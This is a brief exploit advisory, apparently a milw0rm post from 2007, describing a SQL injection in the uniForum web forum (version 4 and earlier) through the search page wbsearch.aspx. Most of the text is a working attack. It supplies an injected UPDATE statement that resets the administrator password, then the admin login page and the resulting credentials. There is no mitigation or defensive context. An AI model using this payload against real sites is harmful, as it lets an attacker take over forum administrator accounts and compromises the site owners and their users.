uniForum <= 4 - (wbsearch.aspx) Remote SQL Injection Vulnerability

******************************************************************************* # Title : uniForum &#60;= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability # Author : ajann # Contact : :( # S.Page : ... # Vendor : http://uniforum.biz/ # $$ : $99 ******************************************************************************* [[SQL]]]--------------------------------------------------------- http://[target]/[path]//wbsearch.aspx (POST Method) [SQL] Example: //Fin the -&#62;wbsearch.aspx Before, see &#34;by User&#34;, it write &#39;;update admin set Password=&#39;000245&#39;-- Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx Username: Administrator Password: 000245 [[/SQL]] &#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34; # ajann,Turkey # ... # Im not Hacker! # milw0rm.com [2007-01-09]